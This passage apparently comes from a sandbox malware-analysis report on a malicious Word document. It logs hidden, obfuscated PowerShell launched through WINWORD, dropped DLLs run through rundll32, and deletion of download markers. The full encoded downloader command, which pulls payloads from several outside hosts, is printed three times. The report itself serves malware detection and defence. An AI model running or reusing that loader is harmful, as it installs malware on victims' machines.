ByACcAKwAnAGEAJwApACsAKAAnAGoAaQAnACsAJwBuACcAKQArACgAJwBzAGgAJwArACcAZQBlAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AbwB0ACcAKQArACgAJwBoACcAKwAnAGUAJwArACcAcgBmACcAKwAnAGkAbABlAHMAJwArACcALwB3AEEARgBQAC8AJwApACsAJwBAAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvACcAKwAnAHcAdwB3AC4AcgBlAG0AbwB2ACcAKwAnAGUAcAAnACkAKwAoACcAYwB0AHIAJwArACcAbwAnACkAKwAnAGoAYQAnACsAKAAnAG4AJwArACcALgBjACcAKQArACgAJwBvAG0ALwB3ACcAKwAnAHAAJwApACsAKAAnAC0AJwArACcAYQBkAG0AJwApACsAJwBpAG4AJ
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAgAHMAZQB0AC0ASQB0AGUAbQAgAHYAYQBSAGkAYQBCAEwARQA6ADMAdgBDACAAIAAoAFsAVAB5AHAARQBdACgAIgB7ADUAfQB7ADAAfQB7ADEAfQB7ADMAfQB7ADIAfQB7ADQAfQAiACAALQBGACcAWQBTAHQAJwAsACcARQBtAC4ASQBvACcALAAnAEkAUgBFAGMAVABPACcALAAnAC4AZAAnACwAJwBSAHkAJwAsACcAUwAnACkAIAAgACkAOwAgACAAIABTAGUAVAAtAEkAVABFAG0AIAAgAFYAYQBSAGkAQQBCAGwARQA6ADUANAA5AGMAIAAgACgAIAAgAFsAdABZAHAAZQBdACgAIgB7ADQAfQB7ADEAfQB7ADAAfQB7ADIAfQB7ADMAfQAiACAALQBGACAAJwAuACcALAAnAHkAcwB0AEUAbQAnACwAJwBOAEUAVAAuAFMARQByAHYAaQBjAGUAUABPAGkAbgAnACwAJwBUAG0AQQBuAEEAZwBFAFIAJwAsACcAUwAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwAnACsAKAAnAGkAbABlACcAKwAnAG4AJwArACcAdABsAHkAJwApACsAKAAnAEMAbwAnACsAJwBuACcAKQArACgAJwB0ACcAKwAnAGkAbgB1ACcAKQArACcAZQAnACkAOwAkAEEAOABoADIAcgB6AGIAPQAkAEYANgBfAEEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEwAOQA4AFAAOwAkAE0AMAAwAE8APQAoACcAQwAnACsAKAAnADgAMgAnACsAJwBaACcAKQApADsAIAAkADMAVgBDADoAOgAiAGMAcgBlAGEAYABUAGAARQBgAEQAYABpAFIAZQBjAFQAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAFQAeQBWACcAKwAnAFgAdAAnACsAJwBzAF8AbgAnACkAKwAoACcAbQBmAFQAeQBWAFAANAAnACsAJwAxACcAKQArACcAOAA4ACcAKwAoACcAcQBrACcAKwAnAFQAJwApACsAJwB5AFYAJwApACAALQByAEUAcABsAGEAQwBFACAAIAAoACcAVAAnACsAJwB5AFYAJwApACwAWwBDAEgAYQByAF0AOQAyACkAKQA7ACQAQwA0ADIATgA9ACgAKAAnAEMAJwArACcAMQAzACcAKQArACcARAAnACkAOwAgACAAKAAgAGwAUwAgACAAVgBBAFIAaQBBAGIATABlADoANQA0ADkAQwAgACkALgB2AGEATAB1AEUAOgA6ACIAcwBFAGMAVQBgAFIAYABpAFQAeQBwAFIAbwB0AGAAbwBgAGMATwBsACIAIAA9ACAAKAAnAFQAJwArACgAJwBsACcAKwAnAHMAMQAyACcAKQApADsAJABEADcANwBZAD0AKAAnAFoAOAAnACsAJwBfAFYAJwApADsAJABXAHYANgB4AGIANQA3ACAAPQAgACgAKAAnAFUAOQAnACsAJwA1ACcAKQArACcARAAnACkAOwAkAEgAMAAxAFYAPQAoACgAJwBHADkAJwArACcANgAnACkAKwAnAEgAJwApADsAJABUAHoAbwA3AHQAdwBsAD0AJABIAE8ATQBFACsAKAAoACcASgBqACcAKwAnAFcAJwArACgAJwBYAHQAJwArACcAcwBfAG4AbQAnACsAJwBmAEoAagBXAFAANAAnACsAJwAxADgAJwApACsAJwA4ACcAKwAoACcAcQAnACsAJwBrAEoAJwApACsAJwBqACcAKwAnAFcAJwApAC0AYwBSAGUAUABsAGEAQwBFACAAKAAnAEoAagAnACsAJwBXACcAKQAsAFsAQwBIAEEAUgBdADkAMgApACsAJABXAHYANgB4AGIANQA3ACsAKAAnAC4AJwArACgAJwBkACcAKwAnAGwAbAAnACkAKQA7ACQAWAA1ADYAUAA9ACgAJwBMACcAKwAoACcANgA3ACcAKwAnAFEAJwApACkAOwAkAFcAdABfADUAdwBrAGMAPQAoACcAXQBiACcAKwAoACcAMgBbAHMAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvACcAKwAnAGYAbQBjAGEAJwApACsAJwB2AC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACgAJwBpAG0AYQAnACsAJwBnAGUAcwAnACkAKwAnAC8ANwAnACsAKAAnAEYAVgA0AE4AJwArACcAZAAnACsAJwAvAEAAXQBiADIAWwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAdABoAGUAcAByACcAKwAnAGEAJwApACsAKAAnAGoAaQAnACsAJwBuACcAKQArACgAJwBzAGgAJwArACcAZQBlAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AbwB0ACcAKQArACgAJwBoACcAKwAnAGUAJwArACcAcgBmACcAKwAnAGkAbABlAHMAJwArACcALwB3AEEARgBQAC8AJwApACsAJwBAAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvACcAKwAnAHcAdwB3AC4AcgBlAG0AbwB2ACcAKwAnAGUAcAAnACkAKwAoACcAYwB0AHIAJwArACcAbwAnACkAKwAnAGoAYQAnACsAKAAnAG4AJwArACcALgBjACcAKQArACgAJwBvAG0ALwB3ACcAKwAnAHAAJwApACsAKAAnAC0AJwArACcAYQBkAG0AJwApACsAJwBpAG4AJ Jump to behavior
Suspicious powershell command line found
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAgAHMAZQB0AC0ASQB0AGUAbQAgAHYAYQBSAGkAYQBCAEwARQA6ADMAdgBDACAAIAAoAFsAVAB5AHAARQBdACgAIgB7ADUAfQB7ADAAfQB7ADEAfQB7ADMAfQB7ADIAfQB7ADQAfQAiACAALQBGACcAWQBTAHQAJwAsACcARQBtAC4ASQBvACcALAAnAEkAUgBFAGMAVABPACcALAAnAC4AZAAnACwAJwBSAHkAJwAsACcAUwAnACkAIAAgACkAOwAgACAAIABTAGUAVAAtAEkAVABFAG0AIAAgAFYAYQBSAGkAQQBCAGwARQA6ADUANAA5AGMAIAAgACgAIAAgAFsAdABZAHAAZQBdACgAIgB7ADQAfQB7ADEAfQB7ADAAfQB7ADIAfQB7ADMAfQAiACAALQBGACAAJwAuACcALAAnAHkAcwB0AEUAbQAnACwAJwBOAEUAVAAuAFMARQByAHYAaQBjAGUAUABPAGkAbgAnACwAJwBUAG0AQQBuAEEAZwBFAFIAJwAsACcAUwAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwAnACsAKAAnAGkAbABlACcAKwAnAG4AJwArACcAdABsAHkAJwApACsAKAAnAEMAbwAnACsAJwBuACcAKQArACgAJwB0ACcAKwAnAGkAbgB1ACcAKQArACcAZQAnACkAOwAkAEEAOABoADIAcgB6AGIAPQAkAEYANgBfAEEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEwAOQA4AFAAOwAkAE0AMAAwAE8APQAoACcAQwAnACsAKAAnADgAMgAnACsAJwBaACcAKQApADsAIAAkADMAVgBDADoAOgAiAGMAcgBlAGEAYABUAGAARQBgAEQAYABpAFIAZQBjAFQAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAFQAeQBWACcAKwAnAFgAdAAnACsAJwBzAF8AbgAnACkAKwAoACcAbQBmAFQAeQBWAFAANAAnACsAJwAxACcAKQArACcAOAA4ACcAKwAoACcAcQBrACcAKwAnAFQAJwApACsAJwB5AFYAJwApACAALQByAEUAcABsAGEAQwBFACAAIAAoACcAVAAnACsAJwB5AFYAJwApACwAWwBDAEgAYQByAF0AOQAyACkAKQA7ACQAQwA0ADIATgA9ACgAKAAnAEMAJwArACcAMQAzACcAKQArACcARAAnACkAOwAgACAAKAAgAGwAUwAgACAAVgBBAFIAaQBBAGIATABlADoANQA0ADkAQwAgACkALgB2AGEATAB1AEUAOgA6ACIAcwBFAGMAVQBgAFIAYABpAFQAeQBwAFIAbwB0AGAAbwBgAGMATwBsACIAIAA9ACAAKAAnAFQAJwArACgAJwBsACcAKwAnAHMAMQAyACcAKQApADsAJABEADcANwBZAD0AKAAnAFoAOAAnACsAJwBfAFYAJwApADsAJABXAHYANgB4AGIANQA3ACAAPQAgACgAKAAnAFUAOQAnACsAJwA1ACcAKQArACcARAAnACkAOwAkAEgAMAAxAFYAPQAoACgAJwBHADkAJwArACcANgAnACkAKwAnAEgAJwApADsAJABUAHoAbwA3AHQAdwBsAD0AJABIAE8ATQBFACsAKAAoACcASgBqACcAKwAnAFcAJwArACgAJwBYAHQAJwArACcAcwBfAG4AbQAnACsAJwBmAEoAagBXAFAANAAnACsAJwAxADgAJwApACsAJwA4ACcAKwAoACcAcQAnACsAJwBrAEoAJwApACsAJwBqACcAKwAnAFcAJwApAC0AYwBSAGUAUABsAGEAQwBFACAAKAAnAEoAagAnACsAJwBXACcAKQAsAFsAQwBIAEEAUgBdADkAMgApACsAJABXAHYANgB4AGIANQA3ACsAKAAnAC4AJwArACgAJwBkACcAKwAnAGwAbAAnACkAKQA7ACQAWAA1ADYAUAA9ACgAJwBMACcAKwAoACcANgA3ACcAKwAnAFEAJwApACkAOwAkAFcAdABfADUAdwBrAGMAPQAoACcAXQBiACcAKwAoACcAMgBbAHMAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvACcAKwAnAGYAbQBjAGEAJwApACsAJwB2AC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACgAJwBpAG0AYQAnACsAJwBnAGUAcwAnACkAKwAnAC8ANwAnACsAKAAnAEYAVgA0AE4AJwArACcAZAAnACsAJwAvAEAAXQBiADIAWwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAdABoAGUAcAByACcAKwAnAGEAJwApACsAKAAnAGoAaQAnACsAJwBuACcAKQArACgAJwBzAGgAJwArACcAZQBlAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AbwB0ACcAKQArACgAJwBoACcAKwAnAGUAJwArACcAcgBmACcAKwAnAGkAbABlAHMAJwArACcALwB3AEEARgBQAC8AJwApACsAJwBAAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvACcAKwAnAHcAdwB3AC4AcgBlAG0AbwB2ACcAKwAnAGUAcAAnACkAKwAoACcAYwB0AHIAJwArACcAbwAnACkAKwAnAGoAYQAnACsAKAAnAG4AJwArACcALgBjACcAKQArACgAJwBvAG0ALwB3ACcAKwAnAHAAJwApACsAKAAnAC0AJwArACcAYQBkAG0AJwApACsAJwBpAG4AJ
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAgAHMAZQB0AC0ASQB0AGUAbQAgAHYAYQBSAGkAYQBCAEwARQA6ADMAdgBDACAAIAAoAFsAVAB5AHAARQBdACgAIgB7ADUAfQB7ADAAfQB7ADEAfQB7ADMAfQB7ADIAfQB7ADQAfQAiACAALQBGACcAWQBTAHQAJwAsACcARQBtAC4ASQBvACcALAAnAEkAUgBFAGMAVABPACcALAAnAC4AZAAnACwAJwBSAHkAJwAsACcAUwAnACkAIAAgACkAOwAgACAAIABTAGUAVAAtAEkAVABFAG0AIAAgAFYAYQBSAGkAQQBCAGwARQA6ADUANAA5AGMAIAAgACgAIAAgAFsAdABZAHAAZQBdACgAIgB7ADQAfQB7ADEAfQB7ADAAfQB7ADIAfQB7ADMAfQAiACAALQBGACAAJwAuACcALAAnAHkAcwB0AEUAbQAnACwAJwBOAEUAVAAuAFMARQByAHYAaQBjAGUAUABPAGkAbgAnACwAJwBUAG0AQQBuAEEAZwBFAFIAJwAsACcAUwAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwAnACsAKAAnAGkAbABlACcAKwAnAG4AJwArACcAdABsAHkAJwApACsAKAAnAEMAbwAnACsAJwBuACcAKQArACgAJwB0ACcAKwAnAGkAbgB1ACcAKQArACcAZQAnACkAOwAkAEEAOABoADIAcgB6AGIAPQAkAEYANgBfAEEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEwAOQA4AFAAOwAkAE0AMAAwAE8APQAoACcAQwAnACsAKAAnADgAMgAnACsAJwBaACcAKQApADsAIAAkADMAVgBDADoAOgAiAGMAcgBlAGEAYABUAGAARQBgAEQAYABpAFIAZQBjAFQAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAFQAeQBWACcAKwAnAFgAdAAnACsAJwBzAF8AbgAnACkAKwAoACcAbQBmAFQAeQBWAFAANAAnACsAJwAxACcAKQArACcAOAA4ACcAKwAoACcAcQBrACcAKwAnAFQAJwApACsAJwB5AFYAJwApACAALQByAEUAcABsAGEAQwBFACAAIAAoACcAVAAnACsAJwB5AFYAJwApACwAWwBDAEgAYQByAF0AOQAyACkAKQA7ACQAQwA0ADIATgA9ACgAKAAnAEMAJwArACcAMQAzACcAKQArACcARAAnACkAOwAgACAAKAAgAGwAUwAgACAAVgBBAFIAaQBBAGIATABlADoANQA0ADkAQwAgACkALgB2AGEATAB1AEUAOgA6ACIAcwBFAGMAVQBgAFIAYABpAFQAeQBwAFIAbwB0AGAAbwBgAGMATwBsACIAIAA9ACAAKAAnAFQAJwArACgAJwBsACcAKwAnAHMAMQAyACcAKQApADsAJABEADcANwBZAD0AKAAnAFoAOAAnACsAJwBfAFYAJwApADsAJABXAHYANgB4AGIANQA3ACAAPQAgACgAKAAnAFUAOQAnACsAJwA1ACcAKQArACcARAAnACkAOwAkAEgAMAAxAFYAPQAoACgAJwBHADkAJwArACcANgAnACkAKwAnAEgAJwApADsAJABUAHoAbwA3AHQAdwBsAD0AJABIAE8ATQBFACsAKAAoACcASgBqACcAKwAnAFcAJwArACgAJwBYAHQAJwArACcAcwBfAG4AbQAnACsAJwBmAEoAagBXAFAANAAnACsAJwAxADgAJwApACsAJwA4ACcAKwAoACcAcQAnACsAJwBrAEoAJwApACsAJwBqACcAKwAnAFcAJwApAC0AYwBSAGUAUABsAGEAQwBFACAAKAAnAEoAagAnACsAJwBXACcAKQAsAFsAQwBIAEEAUgBdADkAMgApACsAJABXAHYANgB4AGIANQA3ACsAKAAnAC4AJwArACgAJwBkACcAKwAnAGwAbAAnACkAKQA7ACQAWAA1ADYAUAA9ACgAJwBMACcAKwAoACcANgA3ACcAKwAnAFEAJwApACkAOwAkAFcAdABfADUAdwBrAGMAPQAoACcAXQBiACcAKwAoACcAMgBbAHMAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvACcAKwAnAGYAbQBjAGEAJwApACsAJwB2AC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACgAJwBpAG0AYQAnACsAJwBnAGUAcwAnACkAKwAnAC8ANwAnACsAKAAnAEYAVgA0AE4AJwArACcAZAAnACsAJwAvAEAAXQBiADIAWwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAdABoAGUAcAByACcAKwAnAGEAJwApACsAKAAnAGoAaQAnACsAJwBuACcAKQArACgAJwBzAGgAJwArACcAZQBlAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AbwB0ACcAKQArACgAJwBoACcAKwAnAGUAJwArACcAcgBmACcAKwAnAGkAbABlAHMAJwArACcALwB3AEEARgBQAC8AJwApACsAJwBAAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvACcAKwAnAHcAdwB3AC4AcgBlAG0AbwB2ACcAKwAnAGUAcAAnACkAKwAoACcAYwB0AHIAJwArACcAbwAnACkAKwAnAGoAYQAnACsAKAAnAG4AJwArACcALgBjACcAKQArACgAJwBvAG0ALwB3ACcAKwAnAHAAJwApACsAKAAnAC0AJwArACcAYQBkAG0AJwApACsAJwBpAG4AJ Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100037FB push ecx; ret 7_2_1000380E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10004134 push ecx; ret 7_2_10004146
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_100037FB push ecx; ret 8_2_1000380E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_10004134 push ecx; ret 8_2_10004146

Persistence and Installation Behavior:

barindex
Creates processes via WMI
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create
Drops PE files
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Xts_nmf\P4188qk\U95D.dll Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\Windows\SysWOW64\rundll32.exe PE file moved: C:\Windows\SysWOW64\Sfwveevpdqixuom\bsjtfkdrderxek.bnn Jump to behavior

Hooking and other Techniques for Hiding and Protection:

barindex
Hides that the sample has been downloaded from the Internet (zone.identifier)
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Sfwveevpdqixuom\bsjtfkdrderxek.bnn:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Vobicwh\otzfel.hzn:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Uxgydceommtwiki\qzhrxsieatmrnj.xlc:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Bdzitbg\obtbak.jsi:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Xewbyzlpihpnskgh\wwdzuofqhkcpmfa.gyu:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Qakdocqxk\cjwfvfif.ylv:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Hutifyziasbygiy\qhmiqrfpmiryum.ywy:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Tsbimf\rxvqt.dyw:Zone.Identifier read attributes | delete
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Zqkhe\wtjq.kha:Zone.Identifier read attributes | delete
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Rimdqgeexmnm\pcwmnbkufem.jtj:Zone.Identifier read attributes | delete
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Xoteg\llch.amx:Zone.Identifier read attributes | delete
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Vaxphioewmusne\ukdxjhhssdymm.ubj:Zone.Identifier read attributes | delete
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Widpnptibmnvlc\vizfdwjpjtiec.yqj:Zone.Identifier read attributes | delete
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
